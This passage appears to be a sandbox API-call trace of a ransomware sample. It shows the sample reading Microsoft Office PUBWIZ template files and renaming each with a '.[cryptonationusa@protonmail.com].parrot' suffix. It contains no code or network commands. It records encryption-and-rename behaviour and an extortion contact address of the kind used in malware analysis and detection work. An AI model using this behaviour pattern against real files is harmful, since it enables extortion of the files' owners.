liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.386] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x456, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x456, lpOverlapped=0x0) returned 1 [0206.387] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.390] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0206.392] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.393] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.394] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1600, lpOverlapped=0x0) returned 1 [0206.395] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.413] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.413] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.415] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.415] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9a4, lpOverlapped=0x0) returned 1 [0206.415] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0206.424] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.424] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.425] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.425] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc00, lpOverlapped=0x0) returned 1 [0206.426] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0206.432] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.432] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.433] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.433] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21e, lpOverlapped=0x0) returned 1 [0206.433] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0206.440] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.440] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.441] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.441] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35468, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x35468, lpOverlapped=0x0) returned 1 [0206.446] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64f0 | out: hHeap=0x5b0000) returned 1 [0206.465] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.465] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.467] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.467] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e66, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e66, lpOverlapped=0x0) returned 1 [0206.468] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.479] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.479] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.480] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.481] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1000, lpOverlapped=0x0) returned 1 [0206.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.489] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.489] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.490] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.490] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x29e, lpOverlapped=0x0) returned 1 [0206.491] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0206.497] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.498] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.499] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.499] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x49e, lpOverlapped=0x0) returned 1 [0206.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0206.506] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.506] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.508] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.508] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6082, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6082, lpOverlapped=0x0) returned 1 [0206.510] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0206.516] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.516] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.517] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.517] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x282, lpOverlapped=0x0) returned 1 [0206.517] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.521] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0206.526] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.526] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.527] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.528] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1800, lpOverlapped=0x0) returned 1 [0206.529] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.535] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.535] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.536] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.536] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b2, lpOverlapped=0x0) returned 1 [0206.537] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0206.575] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.575] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.577] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.577] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ba4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ba4, lpOverlapped=0x0) returned 1 [0206.578] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 